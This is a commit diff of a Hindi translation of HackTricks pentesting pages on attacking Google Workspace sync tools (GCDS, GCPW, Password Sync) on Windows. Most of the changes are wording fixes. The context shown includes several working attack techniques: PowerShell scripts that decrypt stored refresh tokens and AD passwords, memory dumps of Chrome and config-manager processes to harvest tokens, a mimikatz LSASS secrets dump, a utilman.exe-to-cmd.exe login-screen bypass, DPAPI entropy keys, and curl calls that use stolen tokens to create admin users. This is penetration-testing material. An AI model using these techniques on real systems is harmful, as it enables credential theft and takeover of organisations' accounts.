Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p

This commit is contained in:
Translator
2025-01-21 17:40:06 +00:00
parent 36d2fcd1e4
commit 3189d73baa
42 changed files with 820 additions and 803 deletions

View File

@@ -14,15 +14,15 @@
> [!TIP]
> ध्यान दें कि [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) **GCDS** का पता लगाने में सक्षम है, कॉन्फ़िगरेशन के बारे में जानकारी प्राप्त करें और **यहां तक कि पासवर्ड और एन्क्रिप्टेड क्रेडेंशियल्स** भी।
यह भी ध्यान दें कि GCDS AD से Workspace में पासवर्ड को समन्वयित नहीं करेगा। यदि कुछ ह तो यह Workspace में नए बनाए गए उपयोगकर्ताओं के लिए यादृच्छिक पासवर्ड उत्पन्न करेगा जैसा कि आप निम्नलिखित छवि में देख सकते हैं:
यह भी ध्यान दें कि GCDS AD से Workspace में पासवर्ड को समन्वयित नहीं करेगा। यदि कुछ होगा तो यह Workspace में नए बनाए गए उपयोगकर्ताओं के लिए यादृच्छिक पासवर्ड उत्पन्न करेगा जैसा कि आप निम्नलिखित छवि में देख सकते हैं:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
### GCDS - Disk Tokens & AD Credentials
बाइनरी `config-manager.exe` (मुख्य GCDS बाइनरी GUI के साथ) कॉन्फ़िगर की गई सक्रिय निर्देशिका क्रेडेंशियल्स, रिफ्रेश टोकन और एक्सेस को डिफ़ॉल्ट रूप से **xml फ़ाइल** में **`C:\Program Files\Google Cloud Directory Sync`** फ़ोल्डर में **`Untitled-1.xml`** नामक फ़ाइल में संग्रहीत करेगा। हालांकि, इसे उपयोगकर्ता के `Documents` में या **किसी अन्य फ़ोल्डर** में भी सहेजा जा सकता है।
बाइनरी `config-manager.exe` (मुख्य GCDS बाइनरी GUI के साथ) डिफ़ॉल्ट रूप से **`C:\Program Files\Google Cloud Directory Sync`** फ़ोल्डर में **`Untitled-1.xml`** नामक फ़ाइल में कॉन्फ़िगर की गई सक्रिय निर्देशिका क्रेडेंशियल्स, रिफ्रेश टोकन और एक्सेस को संग्रहीत करेगा। हालांकि, इसे उपयोगकर्ता के `Documents` में या **किसी अन्य फ़ोल्डर** में भी सहेजा जा सकता है।
इसके अलावा, रजिस्ट्री **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** के अंदर की कुंजी **`open.recent`** हाल ही में खोले गए कॉन्फ़िगरेशन फ़ाइलों (xmls) के पथों को शामिल करती है। इसलिए इसे **खोजने के लिए जांचना संभव है**
इसके अलावा, रजिस्ट्री **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** के अंदर की कुंजी **`open.recent`** हाल ही में खोले गए सभी कॉन्फ़िगरेशन फ़ाइलों (xmls) के पथों को शामिल करती है। इसलिए इसे **खोजने के लिए जांचना संभव है**
फ़ाइल के अंदर सबसे दिलचस्प जानकारी होगी:
```xml
@@ -54,7 +54,7 @@
<details>
<summary>Powershell स्क्रिप्ट जो refresh token और password को decrypt करती है</summary>
```powershell
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -156,13 +156,13 @@ Write-Host "Decrypted Password: $decryptedPassword"
### GCDS - मेमोरी से टोकन डंप करना
GCPW की तरह, `config-manager.exe` प्रक्रिया की मेमोरी को डंप करना संभव है (यह GCDS क मुख्य बाइनरी का नाम है जिसमें GUI है) और आप रिफ्रेश और एक्सेस टोकन पा सकेंगे (यदि वे पहले से उत्पन्न हो चुके हैं)।\
GCPW की तरह, `config-manager.exe` प्रक्रिया की मेमोरी को डंप करना संभव है (यह GCDS क मुख्य बाइनरी नाम है जिसमें GUI है) और आप रिफ्रेश और एक्सेस टोकन पा सकेंगे (यदि वे पहले से उत्पन्न हो चुके हैं)।\
मुझे लगता है कि आप AD कॉन्फ़िगर की गई क्रेडेंशियल्स भी पा सकते हैं।
<details>
<summary>config-manager.exe प्रक्रियाओं को डंप करें और टोकन खोजें</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -245,18 +245,18 @@ curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
```
### GCDS - स्कोप
### GCDS - Scopes
> [!NOTE]
> ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, एक्सेस टोकन के लिए कोई स्कोप अनुरोध करना संभव नहीं है क्योंकि आप केवल **उन स्कोप्स का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं**।
> ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, एक्सेस टोकन के लिए किसी भी स्कोप का अनुरोध करना संभव नहीं है क्योंकि आप केवल **उन स्कोप का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं**।
>
> इसके अलावा, रिफ्रेश टोकन हर एप्लिकेशन में मान्य नहीं है।
डिफ़ॉल्ट रूप से GCSD उपयोगकर्ता के रूप में हर संभावित OAuth स्कोप तक पहुंच नहीं होगी, इसलिए निम्नलिखित स्क्रिप्ट का उपयोग करके हम उन स्कोप्स को खोज सकते हैं जिन्हें `refresh_token` के साथ `access_token` उत्पन्न करने के लिए उपयोग किया जा सकता है:
डिफ़ॉल्ट रूप से GCSD उपयोगकर्ता के रूप में हर संभावित OAuth स्कोप तक पहुंच नहीं होगी, इसलिए निम्नलिखित स्क्रिप्ट का उपयोग करके हम उन स्कोप को खोज सकते हैं जिन्हें `refresh_token` के साथ `access_token` उत्पन्न करने के लिए उपयोग किया जा सकता है:
<details>
<summary>Bash स्क्रिप्ट स्कोप्स को ब्रूट-फोर्स करने के लिए</summary>
<summary>Bash script to brute-force scopes</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -291,7 +291,7 @@ https://www.googleapis.com/auth/apps.groups.settings
https://www.googleapis.com/auth/apps.licensing
https://www.googleapis.com/auth/contacts
```
#### एक उपयोगकर्ता बनाएं और उसे `gcp-organization-admins` समूह में जोड़ें ताकि GCP में वृद्धि करने की कोशिश की जा सके
#### एक उपयोगकर्ता बनाएं और उसे समूह `gcp-organization-admins` में जोड़ें ताकि GCP में वृद्धि करने की कोशिश की जा सके
```bash
# Create new user
curl -X POST \
@@ -321,6 +321,6 @@ curl -X POST \
# You could also change the password of a user for example
```
> [!CAUTION]
> नए उपयोगकर्ता को Super Amin भूमिका देना संभव नहीं है क्योंकि **रीफ्रेश टोकन में आवश्यक विशेषाधिकार देने के लिए पर्याप्त स्कोप नहीं हैं**।
> नए उपयोगकर्ता को Super Amin भूमिका देना संभव नहीं है क्योंकि **refresh token के पास आवश्यक विशेषाधिकार देने के लिए पर्याप्त scopes नहीं हैं**।
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,14 +4,14 @@
## Basic Information
यह एकल साइन-ऑन है जो Google Workspaces प्रदान करता है ताकि उपयोगकर्ता अपने Windows PCs में **अपने Workspace क्रेडेंशियल्स** का उपयोग करके लॉगिन कर सकें। इसके अलावा, यह कुछ स्थानों पर Google Workspace तक पहुँचने के लिए टोकन संग्रहीत करेगा।
यह Google Workspaces द्वारा प्रदान किया गया सिंगल साइन-ऑन है ताकि उपयोगकर्ता अपने Windows PCs में **अपने Workspace क्रेडेंशियल्स** का उपयोग करके लॉगिन कर सकें। इसके अलावा, यह कुछ स्थानों पर Google Workspace तक पहुँचने के लिए टोकन संग्रहीत करेगा।
> [!TIP]
> ध्यान दें कि [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) **GCPW** का पता लगाने, कॉन्फ़िगरेशन के बारे में जानकारी प्राप्त करने और **यहाँ तक कि टोकन** प्राप्त करने में सक्षम है।
### GCPW - MitM
जब एक उपयोगकर्ता GCPW के माध्यम से Google Workspace के साथ समन्वयित Windows PC तक पहुँचता है, तो उसे एक सामान्य लॉगिन फॉर्म पूरा करना होगा। यह लॉगिन फॉर्म एक OAuth कोड लौटाएगा जिसे PC एक अनुरोध में रिफ्रेश टोकन के लिए विनिमय करेगा जैसे:
जब एक उपयोगकर्ता GCPW के माध्यम से Google Workspace के साथ समन्वयित Windows PC तक पहुँचता है, तो उसे एक सामान्य लॉगिन फॉर्म पूरा करना होगा। यह लॉगिन फॉर्म एक OAuth कोड लौटाएगा जिसे PC एक अनुरोध में रिफ्रेश टोकन के लिए विनिमय करेगा जैसे:
```http
POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
@@ -27,20 +27,18 @@ scope=https://www.google.com/accounts/OAuthLogin
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
```
नई पंक्तियाँ इसे अधिक पठनीय बनाने के लिए जोड़ी गई हैं।
> [!NOTE]
> एक MitM करने के लिए `Proxifier` को PC में स्थापित करना संभव था, `utilman.exe` बाइनरी को `cmd.exe` के साथ ओवरराइट करना और Windows लॉगिन पृष्ठ में **एक्सेसिबिलिटी फीचर्स** को निष्पादित करना, जो एक **CMD** को निष्पादित करेगा जिससे आप **Proxifier को लॉन्च और कॉन्फ़िगर** कर सकते हैं।\
> `Proxifier` में QUICK UDP ट्रैफ़िक को **ब्लॉक** करना न भूलें ताकि यह TCP संचार में डाउनग्रेड हो जाए और आप इसे देख सकें।
> यह संभव था कि `Proxifier` को PC में स्थापित करके MitM किया जा सके, `utilman.exe` बाइनरी को `cmd.exe` के साथ ओवरराइट करके और Windows लॉगिन पृष्ठ में **accessibility features** को निष्पादित करके, जो एक **CMD** को निष्पादित करेगा जिससे आप **Proxifier** को **लॉन्च और कॉन्फ़िगर** कर सकते हैं।\
> `Proxifier` में QUICK UDP ट्रैफ़िक को **ब्लॉक** करना न भूलें ताकि यह TCP संचार में डाउनग्रेड हो सके और आप इसे देख सकें।
>
> "Serviced and other users" में दोनों विकल्पों को भी कॉन्फ़िगर करें और Windows में Burp CA प्रमाणपत्र स्थापित करें।
इसके अलावा **`HKLM:\SOFTWARE\Google\GCPW`** में `enable_verbose_logging = 1` और `log_file_path = C:\Public\gcpw.log` कुंजी जोड़ने से कुछ लॉग स्टोर करना संभव है।
इसके अलावा, **`HKLM:\SOFTWARE\Google\GCPW`** में `enable_verbose_logging = 1` और `log_file_path = C:\Public\gcpw.log` कुंजियों को जोड़कर कुछ लॉग स्टोर करना संभव है।
### GCPW - फिंगरप्रिंट
### GCPW - फिंगरप्रिंट
यह जांचना संभव है कि क्या GCPW किसी डिवाइस में स्थापित है, यह जांचकर कि क्या निम्नलिखित प्रक्रिया मौजूद है या यदि निम्नलिखित रजिस्ट्री कुंज मौजूद हैं:
```powershell
यह जांचना संभव है कि क्या GCPW किसी डिवाइस में स्थापित है, यह जांचकर कि क्या निम्नलिखित प्रक्रिया मौजूद है या यदि निम्नलिखित रजिस्ट्री कुंजियाँ मौजूद हैं:
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -64,9 +62,9 @@ Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}
```
**`HKCU:\SOFTWARE\Google\Accounts`** में उपयोगकर्ता का ईमेल और एन्क्रिप्टेड **refresh token** तक पहुंचना संभव है यदि उपयोगकर्ता हाल ही में लॉगिन हुआ ह
In **`HKCU:\SOFTWARE\Google\Accounts`** में उपयोगकर्ता का ईमेल और एन्क्रिप्टेड **refresh token** तक पहुंचना संभव है यदि उपयोगकर्ता हाल ही में लॉगिन हुआ ह
**`HKLM:\SOFTWARE\Google\GCPW\Users`** में **domains** को खोजा जा सकता है जो `domains_allowed` कुंजी में लॉगिन करने की अनुमति है और उपकुंजियों में उपयोगकर्ता के बारे में जानकारी जैसे ईमेल, चित्र, उपयोगकर्ता नाम, टोकन जीवनकाल, टोकन हैंडल आदि मिल सकते हैं
In **`HKLM:\SOFTWARE\Google\GCPW\Users`** में **domains** को खोजा जा सकता है जो `domains_allowed` कुंजी में लॉगिन करने की अनुमति है और उपकुंजियों में उपयोगकर्ता के बारे में जानकारी जैसे ईमेल, चित्र, उपयोगकर्ता नाम, टोकन जीवनकाल, टोकन हैंडल आदि मिल सकते हैं...
> [!NOTE]
> टोकन हैंडल एक टोकन है जो `eth.` से शुरू होता है और जिससे कुछ जानकारी निकाली जा सकती है जैसे:
@@ -98,20 +96,20 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
> }
> ```
>
> मुझे पता है कि टोकन हैंडल से एक refresh token या access token प्राप्त करना संभव नहीं है।
> मेरी जानकारी के अनुसार, टोकन हैंडल से एक refresh token या access token प्राप्त करना संभव नहीं है।
इसके अलावा, फ़ाइल **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** एक json है जिसमें विभिन्न **settings** की जानकारी होती है जैसे `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (यदि Workspace के कई उपयोगकर्ता कंप्यूटर में लॉगिन कर सकते हैं) और `validityPeriodDays` (दिनों की संख्या जब उपयोगकर्ता को सीधे Google के साथ फिर से प्रमाणित होने की आवश्यकता नहीं होती)।
इसके अलावा, फ़ाइल **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** एक json है जिसमें विभिन्न **settings** की जानकारी होती है जैसे `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (यदि Workspace के कई उपयोगकर्ता कंप्यूटर में लॉगिन कर सकते हैं) और `validityPeriodDays` (दिनों की संख्या जब उपयोगकर्ता को सीधे Google के साथ फिर से प्रमाणित करने की आवश्यकता नहीं होती)।
## GCPW - टोकन प्राप्त करें
### GCPW - रजिस्ट्री रिफ्रेश टोकन
रजिस्ट्री **`HKCU:\SOFTWARE\Google\Accounts`** के अंदर कुछ खातों को खोजा जा सकता है जिनमें एन्क्रिप्टेड **`refresh_token`** हो। विधि **`ProtectedData.Unprotect`** इसे आसानी से डिक्रिप्ट कर सकती है।
रजिस्ट्री **`HKCU:\SOFTWARE\Google\Accounts`** के अंदर कुछ खातों को **`refresh_token`** के साथ एन्क्रिप्टेड पाया जा सकता है। विधि **`ProtectedData.Unprotect`** इसे आसानी से डिक्रिप्ट कर सकती है।
<details>
<summary>डेटा प्राप्त करें <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> और refresh_tokens को डिक्रिप्ट करें</summary>
```powershell
<summary>Get <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> data and decrypt refresh_tokens</summary>
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -165,7 +163,7 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
```
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
```
जैसा कि [**इस वीडियो**](https://www.youtube.com/watch?v=FEQxHRRP_5I) में बताया गया है, यदि आप रजिस्ट्री में टोकन नहीं पाते हैं, तो **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** से मान को संशोधित (या हटाने) की संभावना है और अगली बार जब उपयोगकर्ता कंप्यूटर तक पहुंचता है, तो उसे फिर से लॉगिन करने की आवश्यकता होगी और **टोकन पिछले रजिस्ट्री में संग्रहीत होगा**
जैसा कि [**इस वीडियो**](https://www.youtube.com/watch?v=FEQxHRRP_5I) में बताया गया है, यदि आप रजिस्ट्री में टोकन नहीं पाते हैं, तो **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** से मान को संशोधित (या हटाने) की संभावना है और अगली बार जब उपयोगकर्ता कंप्यूटर का उपयोग करेगा, तो उसे फिर से लॉगिन करने की आवश्यकता होगी और **टोकन पिछले रजिस्ट्री में संग्रहीत होगा**
### GCPW - डिस्क रिफ्रेश टोकन
@@ -178,16 +176,16 @@ Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Acco
इसके अलावा, एन्क्रिप्टिंग को इस कोड में पाया जा सकता है: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
यह देखा जा सकता है कि AESGCM का उपयोग किया गया है, एन्क्रिप्टेड टोकन एक **संस्करण** (**`v10`** इस समय) से शुरू होता है, फिर इसमें [**12B का नॉनस**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42) होता है, और फिर इसमें **साइफर-टेक्स्ट** होता है जिसमें अंतिम **mac 16B** होता है।
यह देखा जा सकता है कि AESGCM का उपयोग किया गया है, एन्क्रिप्टेड टोकन एक **संस्करण** (**`v10`** इस समय) से शुरू होता है, फिर इसमें [**12B का नॉनस**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42) होता है, और फिर इसमें **साइफर-टेक्स्ट** होता है जिसमें अंतिम **mac 16B** होता है।
### GCPW - प्रक्रियाओं की मेमोरी से टोकन डंप करना
निम्नलिखित स्क्रिप्ट का उपयोग **Chrome** प्रक्रिया को **dump** करने के लिए किया जा सकता है, `procdump` का उपयोग करके, **स्ट्रिंग्स** को निकालें और फिर **access और refresh tokens** से संबंधित स्ट्रिंग्स के लिए खोजें। यदि Chrome किसी Google साइट से जुड़ा है, तो कुछ **प्रक्रिया मेमोरी में रिफ्रेश और/या एक्सेस टोकन संग्रहीत कर रही होगी!**
निम्नलिखित स्क्रिप्ट का उपयोग **Chrome** प्रक्रिया को **dump** करने के लिए किया जा सकता है, `procdump` का उपयोग करके, **स्ट्रिंग्स** को निकालें और फिर **एक्सेस और रिफ्रेश टोकन** से संबंधित स्ट्रिंग्स के लिए खोजें। यदि Chrome किसी Google साइट से जुड़ा है, तो कुछ **प्रक्रिया मेमोरी में रिफ्रेश और/या एक्सेस टोकन संग्रहीत कर रही होगी!**
<details>
<summary>Chrome प्रक्रियाओं को डंप करें और टोकन खोजें</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -266,7 +264,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
<details>
<summary>एक-एक करके अक्षर हटाकर एक्सेस टोकन की जांच करें</summary>
<summary>एक्सेस टोकन को एक-एक करके अक्षर हटाकर जांचें</summary>
```bash
#!/bin/bash
@@ -587,11 +585,11 @@ https://www.googleapis.com/oauth2/v4/token
```
</details>
कुछ उदाहरण उन स्कोप्स का उपयोग करते हुए:
कुछ उदाहरण जो उन स्कोप्स में से कुछ का उपयोग करते हैं:
<details>
<summary>https://www.googleapis.com/auth/userinfo.email &#x26; https://www.googleapis.com/auth/userinfo.profile</summary>
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
@@ -760,7 +758,7 @@ curl -X POST \
<summary>https://www.googleapis.com/auth/ediscovery (Google Vault)</summary>
**Google Workspace Vault** Google Workspace के लिए एक ऐड-ऑन है जो आपके संगठन के डेटा के लिए डेटा बनाए रखने, खोजने और निर्यात करने के उपकरण प्रदान करता है जो Google Workspace सेवाओं जैसे Gmail, Drive, Chat, और अधिक में संग्रहीत है।
**Google Workspace Vault** Google Workspace के लिए एक ऐड-ऑन है जो आपके संगठन के डेटा के लिए डेटा संरक्षण, खोज और निर्यात के लिए उपकरण प्रदान करता है जो Google Workspace सेवाओं जैसे Gmail, Drive, Chat, और अधिक में संग्रहीत है।
- Google Workspace Vault में एक **Matter** एक **container** है जो एक विशिष्ट मामले, जांच, या कानूनी मामले से संबंधित सभी जानकारी को व्यवस्थित और समूहित करता है। यह उस विशेष मुद्दे से संबंधित **Holds**, **Searches**, और **Exports** प्रबंधित करने के लिए केंद्रीय हब के रूप में कार्य करता है।
- Google Workspace Vault में एक **Hold** एक **preservation action** है जो विशिष्ट उपयोगकर्ताओं या समूहों पर लागू होता है ताकि उनके डेटा को Google Workspace सेवाओं के भीतर **हटाने या संशोधित करने** से **रोकने** के लिए। Holds यह सुनिश्चित करते हैं कि प्रासंगिक जानकारी कानूनी मामले या जांच की अवधि के लिए सुरक्षित और अपरिवर्तित बनी रहे।
@@ -791,17 +789,17 @@ curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10"
```
अधिक [API endpoints in the docs](https://developers.google.com/vault/reference/rest).
More [API endpoints in the docs](https://developers.google.com/vault/reference/rest).
</details>
## GCPW - स्पष्ट पाठ पासवर्ड पुनर्प्राप्त करना
GCPW का दुरुपयोग करके पासवर्ड के स्पष्ट पाठ को पुनर्प्राप्त करने के लिए **mimikatz** का उपयोग करके **LSASS** से एन्क्रिप्टेड पासवर्ड को डंप करना संभव है:
GCPW का दुरुपयोग करके पासवर्ड के स्पष्ट पाठ को पुनर्प्राप्त करने के लिए, **mimikatz** का उपयोग करके **LSASS** से एन्क्रिप्टेड पासवर्ड को डंप करना संभव है:
```bash
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```
फिर छिपे हुए को `Chrome-GCPW-<sid>` की तरह खोजें जैसे कि चित्र में:
फिर गुप्त को `Chrome-GCPW-<sid>` की तरह खोजें जैसे कि चित्र में:
<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>

View File

@@ -4,7 +4,7 @@
## Basic Information
यह वह बाइनरी और सेवा है जो Google उपयोगकर्ताओं के पासवर्ड को **AD** और Workspace के बीच **सिंक** में रखने के लिए प्रदान करता है। हर बार जब एक उपयोगकर्ता AD में अपना पासवर्ड बदलता है, तो इसे Google पर सेट किया जाता है।
यह वह बाइनरी और सेवा है जो Google उपयोगकर्ताओं के पासवर्ड को **AD** और Workspace के बीच **सिंक** रखने के लिए प्रदान करता है। हर बार जब एक उपयोगकर्ता AD में अपना पासवर्ड बदलता है, तो इसे Google पर सेट किया जाता है।
यह `C:\Program Files\Google\Password Sync` में स्थापित होता है जहाँ आप इसे कॉन्फ़िगर करने के लिए बाइनरी `PasswordSync.exe` और `password_sync_service.exe` (सेवा जो चलती रहेगी) पा सकते हैं।
@@ -14,13 +14,13 @@
- Google के साथ **OAuth** के माध्यम से लॉगिन करें और फिर यह **रजिस्ट्री में एक टोकन (एन्क्रिप्टेड) स्टोर करेगा**
- GUI के साथ डोमेन कंट्रोलर्स में ही उपलब्ध
- **Workspace उपयोगकर्ताओं** को प्रबंधित करने के लिए **GCP** से कुछ **Service Account क्रेडेंशियल्स** (json फ़ाइल) देना
- **Workspace उपयोगकर्ताओं** को प्रबंधित करने के लिए **GCP** से कुछ **सेवा खाता क्रेडेंशियल्स** (json फ़ाइल) देना
- यह बहुत बुरा विचार है क्योंकि ये क्रेडेंशियल्स कभी समाप्त नहीं होते और इसका दुरुपयोग किया जा सकता है
- Workspace पर SA को एक्सेस देना बहुत बुरा विचार है क्योंकि SA GCP में समझौता किया जा सकता है और Workspace पर पिवट करना संभव होगा
- Google इसे GUI के बिना डोमेन नियंत्रित करने के लिए आवश्यक करता है
- ये क्रेडेंशियल्स भी रजिस्ट्री में स्टोर होते हैं
AD के संबंध में, इसे वर्तमान **एप्लिकेशन संदर्भ, गुमनाम या कुछ विशिष्ट क्रेडेंशियल्स** का उपयोग करने के लिए इंगित करना संभव है। यदि क्रेडेंशियल्स विकल्प चुना गया है, तो **उपयोगकर्ता नाम** एक फ़ाइल में **डिस्क** के अंदर स्टोर किया जाता है और **पासवर्ड** **एन्क्रिप्टेड** होता है और **रजिस्ट्री** में स्टोर होता है।
AD के संबंध में, इसे वर्तमान **एप्लिकेशन संदर्भ, गुमनाम या कुछ विशिष्ट क्रेडेंशियल्स** का उपयोग करने के लिए इंगित करना संभव है। यदि क्रेडेंशियल्स विकल्प चुना गया है, तो **उपयोगकर्ता नाम** एक फ़ाइल में **डिस्क** के अंदर स्टोर किया जाता है और **पासवर्ड** **एन्क्रिप्टेड** होता है और **रजिस्ट्री** में स्टोर किया जाता है।
### GPS - Dumping password and token from disk
@@ -29,18 +29,18 @@ AD के संबंध में, इसे वर्तमान **एप्
फ़ाइल **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** में AD के कॉन्फ़िगर किए गए **`baseDN`** और जिनके क्रेडेंशियल्स का उपयोग किया जा रहा है उनके **`username`** जैसी कॉन्फ़िगरेशन का एक भाग पाया जा सकता है।
रजिस्ट्री **`HKLM\Software\Google\Google Apps Password Sync`** में **एन्क्रिप्टेड रिफ्रेश टोकन** और AD उपयोगकर्ता के लिए **एन्क्रिप्टेड पासवर्ड** (यदि कोई हो) पाया जा सकता है। इसके अलावा, यदि टोकन के बजाय कुछ **SA क्रेडेंशियल्स** का उपयोग किया जाता है, तो उन एन्क्रिप्टेड को भी उस रजिस्ट्री पते पर पाया जा सकता है। इस रजिस्ट्री के अंदर **मान** केवल **प्रशासकों** द्वारा **पहुँच योग्य** होते हैं।
रजिस्ट्री **`HKLM\Software\Google\Google Apps Password Sync`** में **एन्क्रिप्टेड रिफ्रेश टोकन** और AD उपयोगकर्ता के लिए **एन्क्रिप्टेड पासवर्ड** (यदि कोई हो) पाया जा सकता है। इसके अलावा, यदि टोकन के बजाय कुछ **SA क्रेडेंशियल्स** का उपयोग किया जाता है, तो उन एन्क्रिप्टेड को भी उस रजिस्ट्री पते में पाया जा सकता है। इस रजिस्ट्री के अंदर **मान** केवल **प्रशासकों** द्वारा **पहुँच योग्य** होते हैं।
एन्क्रिप्टेड **पासवर्ड** (यदि कोई हो) कुंजी **`ADPassword`** के अंदर है और इसे **`CryptProtectData`** API का उपयोग करके एन्क्रिप्ट किया गया है। इसे डिक्रिप्ट करने के लिए, आपको उसी उपयोगकर्ता होना चाहिए जिसने पासवर्ड सिंक को कॉन्फ़िगर किया था और **`CryptUnprotectData`** का उपयोग करते समय इस **entropy** का उपयोग करना चाहिए: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
एन्क्रिप्टेड टोकन (यदि कोई हो) कुंजी **`AuthToken`** के अंदर है और इसे **`CryptProtectData`** API का उपयोग करके एन्क्रिप्ट किया गया है। इसे डिक्रिप्ट करने के लिए, आपको उसी उपयोगकर्ता होना चाहिए जिसने पासवर्ड सिंक को कॉन्फ़िगर किया था और **`CryptUnprotectData`** का उपयोग करते समय इस **entropy** का उपयोग करना चाहिए: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
इसके अलावा, इसे **`0123456789abcdefghijklmnopqrstv`** शब्दकोश के साथ base32hex में भी एन्कोड किया गया है।
ंट्रॉपी मानों को टूल का उपयोग करके पाया गया। इसे **`CryptUnprotectData`** और **`CryptProtectData`** के लिए कॉल की निगरानी करने के लिए कॉन्फ़िगर किया गया था और फिर टूल का उपयोग `PasswordSync.exe` को लॉन्च और मॉनिटर करने के लिए किया गया था जो कॉन्फ़िगर किए गए पासवर्ड और ऑथ टोकन को शुरू में डिक्रिप्ट करेगा और टूल **दोनों मामलों में उपयोग क एंट्रॉपी के लिए मान** दिखाएगा:
न्क्रिप्शन मानों को टूल का उपयोग करके पाया गया। इसे **`CryptUnprotectData`** और **`CryptProtectData`** के लिए कॉल की निगरानी करने के लिए कॉन्फ़िगर किया गया था और फिर इस टूल का उपयोग `PasswordSync.exe` को लॉन्च और मॉनिटर करने के लिए किया गया जो कॉन्फ़िगर किए गए पासवर्ड और ऑथ टोकन को शुरू में डिक्रिप्ट करेगा और टूल **दोनों मामलों में उपयोग किए एंट्रॉपी के लिए मान** दिखाएगा:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
ध्यान दें कि इन APIs के लिए कॉल के इनपुट या आउटपुट में **डिक्रिप्टेड** मानों को भी देखना संभव है (यदि किसी बिंदु पर Winpeas काम करना बंद कर दे)।
ध्यान दें कि इन APIs के कॉल के इनपुट या आउटपुट में **डिक्रिप्टेड** मानों को भी देखना संभव है (यदि किसी बिंदु पर Winpeas काम करना बंद कर दे)।
